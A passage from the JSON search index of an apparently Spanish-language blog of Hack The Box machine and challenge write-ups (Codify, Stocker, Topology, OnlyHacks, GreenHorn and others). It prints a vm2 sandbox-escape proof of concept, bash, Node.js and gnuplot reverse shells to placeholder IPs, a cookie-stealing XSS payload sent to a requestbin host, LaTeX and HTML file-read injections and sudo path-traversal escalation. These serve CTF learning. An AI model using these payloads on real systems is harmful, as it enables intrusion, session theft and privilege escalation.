con johncusak tendremos acceso a la flag de usuario.\nRoot # Si listamos permisos sudoers tendremos el bin bee :\nSi ejecutamos el binario veremos lo que podemos hacer, entre esas opciones hay una muy interesante en la cual podemos ejecutar codigo php:\nCon esta información vamos a tratar de obtener una bash como root:\nsudo bee eval \u0026#34;shell_exec(\u0026#39;/bin/bash\u0026#39;);” ","date":"8 marzo 2025","externalUrl":null,"permalink":"/htb/maquinas/dog/","section":"Hack The Box","summary":"","title":"Dog","type":"maquinas"},{"content":"","date":"8 marzo 2025","externalUrl":null,"permalink":"/tags/git-dumper/","section":"Tags","summary":"","title":"Git-Dumper","type":"tags"},{"content":" Descripción: # Maquina muy entretenida que nos enseña a explotar una vulnerabilidad en la libreria vm2 para luego mediante una base de datos conseguir la flag de usuario para escalar privilegios mediante un permiso de sudoers que por una mala configuracion nos permite listar la contraseña de root.\nEnumeración # sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn IP -oG allPorts nmap -sCV -p22,80,3000 -A -oN target IP Si tratamos de usar gobuster no encontraremos ningun subdominio ni subdirectorio interesante por lo que no lo voy a mostrar.\nPuerto 80 # Podemos ver como tenemos la posibilidad de ejecutar comandos node.js usando la libreria vm2 ademas de esto no vamos a encontrar nada más intreresante por lo que vamos a buscar vulnerabilidades de la libreria.\nEncontraremos la siguiente poc para la libreria en github que es la que vamos a estar usando POC.\nconst {VM} = require(\u0026#34;vm2\u0026#34;); const vm = new VM(); const code = ` err = {}; const handler = { getPrototypeOf(target) { (function stack() { new Error().stack; stack(); })(); } }; const proxiedErr = new Proxy(err, handler); try { throw proxiedErr; } catch ({constructor: c}) { c.constructor(\u0026#39;return process\u0026#39;)().mainModule.require(\u0026#39;child_process\u0026#39;).execSync(\u0026#39;touch pwned\u0026#39;); } ` console.log(vm.run(code)); User # Ya con esto vamos a poder ejecutar comandos y asi montar una revshell, nos dirigiremos a la pagina RevShells y en nuestra poc ejecutaremos el siguiente comando:\n#Primero ponte en escucha en tu maquina (el siguiente comando) bash -c \u0026#34;/bin/bash -i \u0026gt;\u0026amp; /dev/tcp/IP/PUERTO 0\u0026gt;\u0026amp;1\u0026#34; Y nos pondremos en escucha con netcat en nuestra maquina local:\nnc -lvnp PUERTO Ya con esto le pediremos a la pagina que ejecute nuestro codigo.\nListo lo primero es hacer el tratamiento de la tty:\nscript /dev/null -c bash Ctrl + Z stty raw -echo; fg reset xterm export TERM=xterm Ya en esta parte con find podemos encontrar una base de datos:\nfind /var/www/ -name *.db 2\u0026gt;/dev/null Y veremos que hay una base de datos, usando file nos daremos cuenta que es una base de datos sqlite:\nCon esto podremos ver la base de datos que dentro tiene un hash:\nY con el siguiente comando de hashcat podremos obtener la contraseña para ingresar como joshua:\nhashcat hash.txt --wordlist /usr/share/wordlist/rockyou.txt -m 3200 Root # Enumerando encontramos este script que tenemos permiso de ejecutar como sudo:\nSi vemos el script esta mal montado por lo que cuando pida la contraseña podemos usar el * y nos dira que es correcto esto debido a que si no usamos dobles comillas para esas variables DB_PASS y USER_PASS podemos usar el * de forma que sin importar cual se la contraseña nos la dara como correcta esto tambien nos habilita la opcion de obtener la contraseña con python. Aquí un ejemplo de porque esto pasa:\nPara poder interceptar la contraseña vamos a usar pspy igual que en las anteriores maquinas que lo hemos usado.\nY ahi tenemos la contraseña.\nSi tienen curiosiodad de como se hacia mediante el script de python pueden ver esta parte del directo de s4vitar.\n","date":"7 marzo 2025","externalUrl":null,"permalink":"/htb/maquinas/codify/","section":"Hack The Box","summary":"","title":"Codify","type":"maquinas"},{"content":"","date":"7 marzo 2025","externalUrl":null,"permalink":"/tags/nodejs/","section":"Tags","summary":"","title":"Nodejs","type":"tags"},{"content":"","date":"7 marzo 2025","externalUrl":null,"permalink":"/tags/vm2/","section":"Tags","summary":"","title":"Vm2","type":"tags"},{"content":" ¿Qué son las Máquinas en Hack The Box? # Las Máquinas en Hack The Box son entornos virtuales que simulan sistemas reales con vulnerabilidades. El objetivo es explotar estas vulnerabilidades para obtener acceso al sistema y escalar privilegios hasta convertirte en root o administrador. Cada máquina tiene un nivel de dificultad (fácil, medio, difícil) y cubre una amplia gama de técnicas, como:\nEscaneo de puertos y enumeración de servicios. Explotación de vulnerabilidades conocidas. Escalada de privilegios. Uso de herramientas como Nmap, Metasploit, Burp Suite, entre otras. ¿Qué son los Challenges en Hack The Box? # Los Challenges son desafíos independientes que se centran en habilidades específicas, como:\nCriptografía: Descifrar mensajes o romper algoritmos. Reversing: Analizar y entender el funcionamiento de binarios. Web Exploitation: Explotar vulnerabilidades en aplicaciones web. Forensics: Analizar datos para encontrar información oculta. OSINT: Recopilar información de fuentes abiertas. Estos desafíos son ideales para practicar habilidades específicas y aprender nuevas técnicas.\nMis Páginas de Challenges y Máquinas # ","date":"22 febrero 2025","externalUrl":null,"permalink":"/htb/","section":"Hack The Box","summary":"","title":"Hack The Box","type":"page"},{"content":"","date":"22 febrero 2025","externalUrl":null,"permalink":"/tags/inyecci%C3%B3n-nosql/","section":"Tags","summary":"","title":"Inyección-NoSQL","type":"tags"},{"content":"","date":"22 febrero 2025","externalUrl":null,"permalink":"/tags/pdf-dinamico/","section":"Tags","summary":"","title":"PDF-Dinamico","type":"tags"},{"content":"","date":"22 febrero 2025","externalUrl":null,"permalink":"/tags/server-side/","section":"Tags","summary":"","title":"Server-Side","type":"tags"},{"content":" Descripción: # Maquina sencilla que mediante una inyección NoSQL podemos saltar un login y luego mediante un generador de PDF’s dinamicos listar archivos y hallat credenciales, en la escalada explotamos un permiso de sudoers Node\nEnumeración # sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn IP -oG allPorts Esto nos mostrara que hay dos puertos el 22 y el 80.\nwhatweb IP Vemos el dominio que es stocker.htb lo agregamos al /etc/hosts y continuamos con el escaneo de puertos.\nnmap -p22,80 -sVC 10.129.184.222 -A -oN target Vamos a listar subdominios a ver si encontramos algo interesante\n\u0026lt;img src=\\\u0026#34;x\\\u0026#34; onerror=\\\u0026#34;document.write(\u0026#39;\u0026lt;iframe src=file:///etc/passwd width=100% height=100%\u0026gt;\u0026lt;/iframe\u0026gt;\u0026#39;)\\\u0026#34; /\u0026gt; Solo hay dos usuarios con shell root y angoose, ahora vamos a empezar a listar archivos del subdominio dev.stocker.htb suponiendo que por lo general esta en /var/www/dev/ si listamos el index.js:\nHay lo que podria ser una contraseña de lo que parece ser el usuario dev pero si recordamos no hay ningun usuario dev por lo que vamos a probar la contraseña con angoose y nos funcionara mediante ssh.\nRoot # Despues de conectarnos hacemos el tratamiento de la tty mas basico:\nexport TERM=xterm Listando permisos con sudo -l, y tenemos que hay un binario que podemos ejecutar que es node\nVemos que solo podemos ejecutar los archivos de extension js en la carpeta /usr/local/scripts/ pero podemos tratar de hacer un directory traversal por lo que lo primero que vamos a hacer es entrar a https://www.revshells.com/ y mirar la shell #2 que tienen para node\ncd /tmp nano rev.js (function(){ var net = require(\u0026#34;net\u0026#34;), cp = require(\u0026#34;child_process\u0026#34;), sh = cp.spawn(\u0026#34;sh\u0026#34;, []); var client = new net.Socket(); client.connect(4444, \u0026#34;IP\u0026#34;, function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; // Prevents the Node.js application from crashing })(); Ahora lo que vamos a hacer es poner nuestra maquina en escucha y tartar de ejecutar el binario con los permisos sudo.\n#Atacante nc -lvnp 4444 #Victima sudo node /usr/local/scripts/../../../../tmp/rev.js Y con esto terminamos la maquina.\n","date":"22 febrero 2025","externalUrl":null,"permalink":"/htb/maquinas/stocker/","section":"Hack The Box","summary":"","title":"Stocker","type":"maquinas"},{"content":"Tenemos una url con dos puertos por lo que vamos a visitar los dos a ver que contienen.\nVemos como tenemos acceso a una bandeja de un correo y en el otro puerto tenemos la opcion de registrar usuarios ingresar y recuperar la contraseña.\nRevisando el codigo fuente nos damos cuenta que la recuperacion de contraseña no esta bien pensada y es vulnerable a un IDOR porque si bien pide un token y verifica que el token sea valido no verifica a quien le pertenece el token, con este en conocimiento le podemos cambiar la contraseña a cualquier usuario.\nVamos a tratar de hallar algun correo de administrador en el codigo fuente usando grep:\ngrep -r admin Solicitamos el cambio de contraseña despues de crear un usuario con el correo que nos dieron:\nY hacemos el cambio de contraseña para el usuario administrador:\nAhora con eso podemos iniciar sesion como administradores y veremos que tenemos acceso a un funcion para mostrar “weapons”\nTambien vemos que en la nota acepta markdown por lo que podemos tratar de hacer una inyección para obtener la flag.\nimg[!](file:///flag.txt) Si pasamos lo que nos muestra el codigo fuente a un decoder de base64 nos dara la flag.\n","date":"21 febrero 2025","externalUrl":null,"permalink":"/htb/challenges/armaxis/","section":"Hack The Box","summary":"","title":"Armaxis","type":"challenges"},{"content":"","date":"21 febrero 2025","externalUrl":null,"permalink":"/tags/file-read/","section":"Tags","summary":"","title":"File-Read","type":"tags"},{"content":"","date":"21 febrero 2025","externalUrl":null,"permalink":"/tags/gnuplot/","section":"Tags","summary":"","title":"Gnuplot","type":"tags"},{"content":"","date":"21 febrero 2025","externalUrl":null,"permalink":"/tags/idor/","section":"Tags","summary":"","title":"IDOR","type":"tags"},{"content":"","date":"21 febrero 2025","externalUrl":null,"permalink":"/tags/latex/","section":"Tags","summary":"","title":"Latex","type":"tags"},{"content":"","date":"21 febrero 2025","externalUrl":null,"permalink":"/tags/subdominio/","section":"Tags","summary":"","title":"Subdominio","type":"tags"},{"content":"","date":"21 febrero 2025","externalUrl":null,"permalink":"/tags/sudo/","section":"Tags","summary":"","title":"Sudo","type":"tags"},{"content":" Descripción: # Una máquina en la que tenemos que hacer una inyección LaTeX para poder leer archivos y así conseguir el hash del usuario, para luego, mediante una tarea recurrente, ganar root.\nEnumeración # sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn IP -oG allPorts -p- Escanea todos los puertos 1-65535 . —open Solo muestra los puertos que estén abiertos. -sS Stealt scan, cambia el modo de escane haciendo que no se complete el hanshake. —min-rate 5000 Como mínimo va a enviar 5000 paquetes por segundo. -vvv Aumenta la verbosidad, mostrando la máxima informacion posible mientras se ejecuta. -n Desactiva la resolucion DNS; no va a tratar de resolver los nombres de dominio. -Pn Nmap por defecto manda un ping a la IP; esto lo desactiva. -oG allPorts Guarda el escaneo en formato oG en el archivo llamado allPorts. Este escaneo nos dio dos puertos: el 22 y el 80. Vamos a hacer un escaneo más exhaustivo a estos puertos.\nsudo nmap -sCV -p22,80 IP -A -oN target -sCV Esto ejecuta una serie de scripts predeterminados de Nmap para obtener información adicional sobre los servicios que se encuentran abiertos, como versiones de servicios, detalles del sistema operativo, vulnerabilidades conocidas y la versión exacta. -p22, 80 Especifica qué puertos se van a escanear. -A Activa el descubrimiento de sistema operativo, la deteccion de version, script scanning y hace un traceroute. La pagina HTTP que está en el puerto 80 usa Apache 2.4.41.\nPuerto 80 # Al momento de entrar al link “Latex Equation Generator” veremos que es un subdmonio por lo que tendremos que agregarlo al /etc/hosts para que nos muestre lo siguiente.\nAlgo que podemos tratar es listar los archivos dentro de este subdmonio por lo que vamos a ingresar a la siguiente URL dejando el ultimo / .\nRevisando los archivos, lo único útil está en equationtest.tex ya que nos muestra cómo estan tratando la entrada Latex la web.\n\\documentclass{standalone} \\input{header} \\begin{document} $ \\int_{a}^b\\int_{c}^d f(x,y)dxdy $ \\end{document} Podemos observar que la entrada está entre los signos de dólar. Leyendo la página, nos dicen que LaTeX está en el modo “inline math”. Buscando acerca de este modo, nos encontramos con que hay tres formas de tratarlo:\n$ . . .$ \\begin{math} . . . \\end{math} ( . . . ) Foothold # Por lo que ahora sabemos porque está entre esos signos y confirmamos que la entrada va a estar así planeando una inyección.\nPayloadsAllTheThings\nVamos a tratar de empezar a leer archivos del sistema con la inyección de codigo.\n$ \\lstinputlisting{/etc/passwd} $ Una vez confirmamos que podemos leer archivos vamos a empezar a leer archivos de configuración que nos permitán ingresar al sistema.\n$ \\lstinputlisting{/etc/apache2/sites-enabled/000-default.conf} $ En este archivo encontramos varios directorios entre ellos uno que pertence al subdominio dev.topology.htb lo agregamos al /etc/hosts y al ingresar nos pide una contraseña.\nVamos a listar archivos de configuracion por defecto de apache sobre el directorio correspondiente a este subdominio.\n$ \\lstinputlisting{/var/www/dev/.htaccess} $ Por ultimo vamos a listar este archivo.\n$ \\lstinputlisting{/var/www/dev/.htpasswd} $ Nos vamos a encontrar un usuario junto con su hash, vamos a copiarlo y guardarlo en un archivo .txt para hacerle fuerza bruta con hashcat:\nhashcat hash.txt --wordlist /usr/share/wordlist/rockyou.txt --user Esto nos dara su contraseña para iniciar sesion mediante ssh.\nRoot # Enumeración # Primero vamos a hacer el tratamiento basico de la shell:\nexport TERM=xterm Listo ahora vamos a tratar de listar archivos y permisos a ver si encontramos algo, pero nos daremos cuenta rapidamente que no tenemos permitido el uso de sudo ni ningun permiso extraño por lo que lo unico que puede tener algo interesante son las crontab pero no nos permiten listarlas entonces vamos a usar la herramienta Pspy.\n#Maquina atacante python3 -m http.server 80 #Maquina victima wget IP/pspy64 chmod +x pspy64 ./pspy64 Luego de ejecutar el ultimo comando si esperamos un rato podremos ver que hay una script que se ejecuta cada minuto /opt/gnuplot/getdata.sh .\nSi analizamos esta salida nos daremos cuenta que lo que se esta haciendo cada minuto es buscar en el directorio /opt/gnuplot/ todos los archivos con extension plt y los ejecuta.\nSi tratamos de ingresar al directorio no nos lo permite pero en cambio si creamos un archivo y lo movemos a esa direccion no habra ningun conflicto. Buscando escalaciones de privilegios con gnuplot que es el binario que se ejecuta encontramos la siguiente Exploit.\n#Maquina atacante nc -lvnp 4444 #Maquina victima nano rev.plt system \u0026#34;bash -c \u0026#39;bash -i \u0026gt;\u0026amp; /dev/tcp/IP/4444 0\u0026gt;\u0026amp;1\u0026#39;\u0026#34; mv rev.plt /opt/gnuplot/ Con esto tendremos acceso como root y habremos completado la maquina.\n","date":"21 febrero 2025","externalUrl":null,"permalink":"/htb/maquinas/topology/","section":"Hack The Box","summary":"","title":"Topology","type":"maquinas"},{"content":"Al ingresar a la url tenemos la opcion de registrarnos e iniciar sesión que es lo primero que vamos a hacer.\nDentro podremos ver una web de citas en la que la unica persona interesante es Renata, esto debido a que nos dice que siempre esta conectada, por lo que le vamos a dar match y vamos a hablar con ella.\nEn este punto hay dos formas de resolver la maquina una es haciendo un Cross-Site-Scripting y la otra es modifcando la url debido a que podemos ver que cada chat tiene un id.\nVamos a mostrar la primera si tratamos de usar un titulo html en la conversacion con renata este respondera al contenido:\n\u0026lt;h1\u0026gt;Hi\u0026lt;/h1\u0026gt; Vamos a tratar de conseguir la cookie de su sesion con el siguiente comando:\n\u0026lt;script\u0026gt;document.location=\u0026#39;http://requestbinLink? c=\u0026#39;+document.cookie\u0026lt;/script\u0026gt; Vamos a ir a esta pagina http://requestbin.whapi.cloud/ crearemos una nueva request y remplazaremos la url en el comando, si hace click en el link y recargamos la pagina de la request tendremos lo siguiente:\nRemplazaremos esa cookie en el navegador usando inspeccionar y podremos ver los chats de renata junto con la flag.\nAhora vamos con la segunda forma, cuando entramos al chat de renata podemos ver como la url es:\nhttp://94.237.55.96:37246/chat/?rid=6 Si cambiamos el valor del seis podremos ver otros chats hay una forma de probar esto de manera automatica con ffuf para verificar que sea un IDOR:\n#Creamos el diccionario sed 1 100 \u0026gt; id.txt ffuf -w id.txt -u \u0026#39;http://94.237.55.96:37246/chat/?rid=FUZZ\u0026#39; -H \u0026#34;Cookie: session=TUCOOKIE\u0026#34; -mc 200 Esto nos devolvio dos posibles chats pero uno es el nuestro por lo que si probamos con el otro tendremos nuevamente la flag.\n","date":"20 febrero 2025","externalUrl":null,"permalink":"/htb/challenges/onlyhacks/","section":"Hack The Box","summary":"","title":"OnlyHacks","type":"challenges"},{"content":" Descripción : # Una máquina bastante sencilla en la que la enumeración es la clave para hallar la primera contraseña, que te servirá para usar un CVE y obtener una shell. Ya para el escalamiento de privilegios, algo absurdo y poco útil, pero entretenido.\nEnumeración # Como siempre, vamos a empezar descubriendo qué puertos hay y con qué servicios.\nsudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn IP -oG allports nmap -sCV -p80,22,3000 IP -oN target Vemos una página en el puerto 80, por lo que vamos a agregar la IP al /etc/hosts.\nCuando abrimos la página, vemos que en la parte inferior dice \u0026ldquo;admin\u0026rdquo;. Si le damos clic, nos lleva a un inicio de sesión. Dejaremos esto para más adelante.\nAhora vamos a revisar la página, pero por el puerto 3000. Después de buscar un rato, encontramos una especie de repositorio. Si revisamos estos archivos, encontramos un archivo llamado pass.php.\nEsto nos deja un hash que, si usamos un hash identifier, nos dice que es un SHA-512. Por lo tanto, con John the Ripper lo podemos decodificar.\njohn --format=Raw-SHA512 hash.txt /usr/share/wordlist/rockyou.txt Si volvemos al login que habíamos encontrado y usamos esta contraseña, nos permite iniciar sesión. Si miramos qué tecnologías tiene la página, nos damos cuenta de que tiene un Pluck 4.7.18, que tiene un CVE que podemos explotar con la contraseña que encontramos. Si copiamos este exploit de GitHub, podemos obtener una shell.\nPrimero, vamos a crear un entorno virtual de Python:\npython -m venv \u0026#34;Enviroment name\u0026#34; source \u0026#34;Enviroment name\u0026#34;/bin/activate E instalamos este módulo para que el script de GitHub funcione sin problemas:\npip3 install requests_toolbelt Ahora ponemos un nc en escucha y ejecutamos el script con sus parámetros:\nnc -lvnp 4444 python3 exploit_pluckv4.7.18_RCE.py --password iloveyou1 --ip 10.10.16.47 --port 4444 --host http://greenhorn.htb Y con esto tenemos una shell:\nSi tratamos de cambiar a uno de los dos usuarios, no vamos a encontrar forma de hacerlo. Por lo tanto, al final tratamos de usar la misma contraseña con el usuario Junior y nos funcionó.\nSi miramos dentro de la carpeta de Junior, hallamos dos cosas: un PDF y la flag. Vamos a montar un servidor HTTP con Python para llevar ese PDF a nuestra máquina.\npython3 -m http.server [puerto] wget http://IP:[puerto]/\u0026#39;Using OpenVAS.pdf\u0026#39; Dentro del pdf nos encontramos una especie de carta con una contraseña difuminada\nSi buscamos formas de conseguir esta contraseña nos vamos a encontrar este github Depix, ya viendo esto vamos a hacer dos cosas clonar el repositorio y extraer la imagen del pdf en una pagina que nos permita esto, para luego descifrar la contraseña.\ngit clone https://github.com/spipm/Depix python3 depix.py -p ../imagen-pdf -s images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png ","date":"30 noviembre 2024","externalUrl":null,"permalink":"/htb/maquinas/greenhorn/","section":"Hack The Box","summary":"","title":"GreenHorn","type":"maquinas"},{"content":"","date":"30 noviembre 2024","externalUrl":null,"permalink":"/tags/pluk/","section":"Tags","summary":"","title":"Pluk","type":"tags"},{"content":"","externalUrl":null,"permalink":"/authors/","section":"Authors","summary":"","title":"Authors","type":"authors"},{"content":"","externalUrl":null,"permalink":"/categories/","section":"Categories","summary":"","title":"Categories","type":"categories"},{"content":"","externalUrl":null,"permalink":"/series/","section":"Series","summary":"","title":"Series","type":"series"}]